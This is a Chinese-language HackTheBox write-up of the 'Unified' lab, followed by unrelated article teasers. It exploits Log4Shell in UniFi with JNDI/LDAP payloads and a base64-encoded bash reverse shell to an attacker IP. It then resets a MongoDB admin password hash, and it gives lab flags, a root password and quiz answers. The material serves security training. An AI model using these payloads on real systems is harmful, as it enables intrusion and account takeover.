HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言
- 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机

渗透过程
信息搜集



- 服务器开放了SSH服务,HTTP服务
访问网站 验证log4j2漏洞
- 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用

- 可以观察到UniFi的版本号:6.4.54

- 通过搜索引擎查询,该服务拥有CVE-2021-44228 漏洞

- 使用tcpdump工具 监听网卡流量

- 通过修改remember字段
${jndi:ldap://10.10.16.2/o=tomcat}

- 可以看到UniFi服务器 对 本地服务器 发起了请求,确认存在log4j2漏洞
利用log4j2漏洞,反弹会话
- 工具准备:
准备工具:
1.openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
2.Maven
sudo apt-get install maven -y
3.编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
rogue-jndi:开启本机ldap服务,允许接收其他服务器数据,可执行代码
- 生成反弹命令 进行base64加解密:

echo 'bash -c bash -i >&/dev/tcp/10.10.16.2/4444 0>&1' | base64

使用命令:
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.16.2"
- 这段代码的意思是 使用之前制作的base64 反弹代码,进行base64解密,bash加载,目标是10.10.16.2
- 同时要监听端口会话,等待反弹

"${jndi:ldap://10.10.16.2:1389/o=tomcat}"
- 通过remember字段 构造命令,反弹会话

script /dev/null -c bash
- 监听端口,稳固会话
通过修改mongoDb数据库 管理员密码,进入网站后台
- 查询unifi 中间件的数据库,一般默认是mongdb数据库
- mongdb默认数据库为ace

- 数据库端口开放在 27117

mongo --port 27117 ace
- 指定端口号,连接mongo数据库

db.admin.find().forEach(printjson);
- 通过这个命令可以枚举用户信息,并且以json格式打印

- 通过hashid工具 分析哈希值使用的加密方式

- 通过mkpasswd 设置哈希编码,构造新密码

db.admin.update({"_id":
ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$0dOBQ6ZeDhxJi9Df$HEFkxcqfmWhHbyt0h4WAAzRNqg9n.19ryJfXy.ZcRkcAWKvjy9IQ42OAjRRafoEXTf5ZqzVByYnIuk9U/a8Py1"}});
- 查找administrator管理员账户id,修改密码 为之前生成的哈希密码,更新成功

- 成功进入后台
通过后台提供的ssh,获取flag

- 账号:root
- 密码:NotACrackablePassword4U2022

- 登录用户

- 用户flag:6ced1a6a89e666c0620cdb10262ba127

- root flag:e50bc93c75b634e4b272d2f771c33681
知识点讲解
- 受影响版本:
Apache Log4j 2.x <= 2.14.1
- 受影响的应用组件:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
- log4j2漏洞原理:
log4j2 框架下的 lookup服务提供了 {}字段解析功能,传进去 的 值会 被 直接解析,JNDI服务会请求 远程服务 来 连接 本地对象,这时候 只用在{}里面调用JNDI服务即可 反弹shell 到指定服务器
- 流量特征:
数据包里面有{jndi: ldap}字段
- 修复:
1.禁止 用户 请求 参数 出现 攻击关键字
>2.禁止 lookup 下载远程文件
3.禁止 log4j2 应用 连接外网
答案
- 1.服务器开放的前四个端口是什么?
22,6789,8080,8443
- 2.8443端口运行服务的标题是什么?
UniFi Network
- 3.中间件版本是多少?
6.4.54
- 4.此CVE编号是多少?
CVE-2021-44228
- 5.JNDI注入使用什么协议?
ldap
- 6.用什么工具来监测网卡,验证是否存在漏洞?
TcpDump
- 7.需要拦截哪个流量端口?
389
- 8.Mongod服务运行在哪个端口?
27117
- 9.UniFi 在Mongod数据库的默认库是什么?
ace
- 10.在Mongod数据库中使用什么命令来枚举用户信息?
db.admin.find()
- 11.在Mongod数据库中使用什么明来来更新数据?
db.admin.update()
- 12.root用户的密码是什么?
NotACrackablePassword4U2022
- 13.用户flag是什么?
6ced1a6a89e666c0620cdb10262ba127
- 14.root flag是什么?
e50bc93c75b634e4b272d2f771c33681
总结
- 我们介绍了log4j2 漏洞 原理、流量特征、修复意见、利用过程 和 Mongod数据库 更换 管理员密码 登录后台,使用hashid 分析哈希值、mkpasswd 来生成密码
相关文章:
HTB-Unified(log4j2漏洞、MongoDb替换管理员密码)
前言 各位师傅大家好,我是qmx_07,今天给大家讲解Unified靶机 渗透过程 信息搜集 服务器开放了SSH服务,HTTP服务 访问网站 验证log4j2漏洞 8443端口:UniFi 网络 ,访问查询 是否有Nday漏洞利用 可以观察到UniFi的版…...
每天五分钟深度学习PyTorch:不同的神经网络层设置不同的学习率
本文重点 我们前面学习了基本网络模型的搭建,获取网络模型的子结构,以及优化器optim,我们发现我们设置优化器的时候,是对整个模型设置的,也就是说整个模型的参数学习率是一样,本节课程我们学习如何给不同的网络层设置不同的学习率。主要还是通过优化器optim来实现的,本…...
【渗透测试】——DVWA靶场搭建
📖 前言:DVWA(Damn Vulnerable Web Application)是一个用于安全漏洞测试的 PHP/MySQL 网络应用,旨在为安全专业人士提供一个合法的环境,以测试他们的技能和工具,同时帮助 Web 开发者更好地理解 …...
国内人工智能产业发展现状及对策研究
一、引言 人工智能作为新时代科技革命和产业变革的核心力量,正深刻改变着全球经济格局。我国政府高度重视人工智能产业发展,将其列为国家战略性新兴产业。在此背景下,本文旨在分析我国人工智能产业发展现状,探讨面临的挑战&#x…...
完整版订单超时自动取消功能
前几天对实习还是继续学习技术产生了抉择,问了一个前辈,他抛给我一个问题,怎么做15分钟订单自动取消,我说然后到时间之后,自动执行这个订单关闭业务,比如把锁了的库存给解开等等操作,然后在数据…...
算法刷题:300. 最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组、1143. 最长公共子序列
300. 最长递增子序列 1.dp定义:dp[i]表示i之前包括i的以nums[i]结尾的最长递增子序列的长度 2.递推公式:if (nums[i] > nums[j]) dp[i] max(dp[i], dp[j] 1); 注意这里不是要dp[i] 与 dp[j] 1进行比较,而是我们要取dp[j] 1的最大值…...
go 笔记
数据结构与 方法(增删改查) 安装goland,注意版本是2024.1.1,不是2024.2.1,软件下载地址也在链接中提供了 ‘go’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在 Windows 搜索栏中输入“环境变量”&#…...
路由等保测评
1.身份鉴别 应对登录的用户进行身份标识和鉴别, 身份标识具有唯一性,身份鉴别信息具有复杂度要求并定期更换。 可以使用“ service password-encryption"命令对存储在配置文件中的所有口令和类似数据进行加密, 以避免攻击者通过读取配…...
C# 反射之动态生成dll/exe
这个可能应该属于反射的高级使用范围了,平常在项目中使用的人估计也不是很多。由于使用反射的话会降低性能,比如之前用到的GetValue、SetValue等之类,但是使用这种方式会大大提高效率,在这里我只想说,都直接写IL指令了…...
Rust 所有权 Slices
文章目录 发现宝藏1. Slice 的基础知识1.1 什么是 Slice?1.2 如何创建 Slice? 2. 处理字符串 Slice2.1 字符串的 Slice2.2 字符串的 Unicode 和切片 3. 在函数中使用 Slice3.1 传递 Slice 给函数3.2 可变 Slice 的函数 4. 复杂示例4.1 处理多维数组的 Sl…...
windows 安全与网络管理问题
问题:当编写的脚本或程序运行的时候,可能被windows阻止访问网络甚至被删除 避免被删除 wini 进入设置界面 -> 选择更新与安全 -> 选择windwos defender -> 点击添加排除项,将指定的文件或目录排除,避免被软件删除 允许…...
基于Python实现一个庆祝国庆节的小程序
功能: 添加互动功能:允许用户选择不同的祝福语或者查询不同的国庆节信息。动态背景音乐:播放国庆节相关的背景音乐。增加节日小测验:提供一些关于国庆节的趣味小测验,让用户参与。增强图形用户界面 (GUI):…...
Anaconda 安装与使用教程
Anaconda 安装与使用教程 介绍 Anaconda 是一个用于科学计算的 Python 和 R 的发行版,它包含了众多流行的科学计算、数据分析、机器学习等领域的库。本教程旨在帮助初学者快速上手 Anaconda,并学会如何使用其管理环境以及安装包。 第一步:…...
时序预测SARIMAX模型
1. 项目背景 本文基于kaggle平台相关竞赛项目,具体连接如下: Time Series Forecasting With SARIMAX 基本信息如内容说明、数据集、已提交代码、当前得分排名以及比赛规则等,如图【1】所示,可以认真阅读。 图 1 2. 数据读取 …...
gin集成jaeger中间件实现链路追踪
1. 背景 新业务线带来新项目启动,需要改进原有项目的基础框架和组件能力,以提升后续开发和维护效率。项目搭建主要包括技术选型、框架搭建、基础服务搭建等。这其中就涉及到链路追踪的内容,结合其中的踩坑情况,用一篇文章来说明完…...
前端层面----监控与埋点
前言: 站在产品的视角,经常会问如下几个问题: 产品有没有用户使用 用户用得怎么样 系统会不会经常出现异常 如何更好地满足用户需求服务用户 当站在技术视角时,经常会问如下几个问题: 系统出现异常的频率如何 异常…...
linux Command
linux Command 1. 系统监控命令 1.1 top top [param] top -H -p pid,查看进程pid下面的子线程。-b以处理模式操作-c显示完整的命令行而不只是显示命令名。-d 屏幕刷新间隔时间。-l 忽略失效过程。-s 保密模式。-S 累积模式。-u 【用户名】 指定用户名。-p 【进程…...
uniapp登录页面( 适配:pc、小程序、h5)
<!-- 简洁登录页面 --> <template><view class"login-bg"><image class"img-a" src"https://zhoukaiwen.com/img/loginImg/2.png"></image><image class"img-b" src"https://zhoukaiwen.com/im…...
关于OceanBase 多模一体化的浅析
在当今多元化的业务生态中,各行各业对数据库系统的需求各有侧重。举例来说,金融风控领域对数据库的高效事务处理(TP)和分析处理(AP)能力有着严格要求;游戏行业则更加注重文档数据库的灵活性和性…...
快速git
下载 sudo apt install git配置 $ git config --global user.name "John Doe" $ git config --global user.email johndoeexample.com没有空格可以不加双引号如果~/.ssh没有先创建(下一步用) ssh方式制作密钥 github解释 #以邮箱作为标签…...
反向工程与模型迁移:打造未来商品详情API的可持续创新体系
在电商行业蓬勃发展的当下,商品详情API作为连接电商平台与开发者、商家及用户的关键纽带,其重要性日益凸显。传统商品详情API主要聚焦于商品基本信息(如名称、价格、库存等)的获取与展示,已难以满足市场对个性化、智能…...
CentOS下的分布式内存计算Spark环境部署
一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架,相比 MapReduce 具有以下核心优势: 内存计算:数据可常驻内存,迭代计算性能提升 10-100 倍(文档段落:3-79…...
dedecms 织梦自定义表单留言增加ajax验证码功能
增加ajax功能模块,用户不点击提交按钮,只要输入框失去焦点,就会提前提示验证码是否正确。 一,模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...
Android第十三次面试总结(四大 组件基础)
Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成,用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机: onCreate() 调用时机:Activity 首次创建时调用。…...
使用Matplotlib创建炫酷的3D散点图:数据可视化的新维度
文章目录 基础实现代码代码解析进阶技巧1. 自定义点的大小和颜色2. 添加图例和样式美化3. 真实数据应用示例实用技巧与注意事项完整示例(带样式)应用场景在数据科学和可视化领域,三维图形能为我们提供更丰富的数据洞察。本文将手把手教你如何使用Python的Matplotlib库创建引…...
HubSpot推出与ChatGPT的深度集成引发兴奋与担忧
上周三,HubSpot宣布已构建与ChatGPT的深度集成,这一消息在HubSpot用户和营销技术观察者中引发了极大的兴奋,但同时也存在一些关于数据安全的担忧。 许多网络声音声称,这对SaaS应用程序和人工智能而言是一场范式转变。 但向任何技…...
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...
深入浅出Diffusion模型:从原理到实践的全方位教程
I. 引言:生成式AI的黎明 – Diffusion模型是什么? 近年来,生成式人工智能(Generative AI)领域取得了爆炸性的进展,模型能够根据简单的文本提示创作出逼真的图像、连贯的文本,乃至更多令人惊叹的…...
小木的算法日记-多叉树的递归/层序遍历
🌲 从二叉树到森林:一文彻底搞懂多叉树遍历的艺术 🚀 引言 你好,未来的算法大神! 在数据结构的世界里,“树”无疑是最核心、最迷人的概念之一。我们中的大多数人都是从 二叉树 开始入门的,它…...
CMS内容管理系统的设计与实现:多站点模式的实现
在一套内容管理系统中,其实有很多站点,比如企业门户网站,产品手册,知识帮助手册等,因此会需要多个站点,甚至PC、mobile、ipad各有一个站点。 每个站点关联的有站点所在目录及所属的域名。 一、站点表设计…...
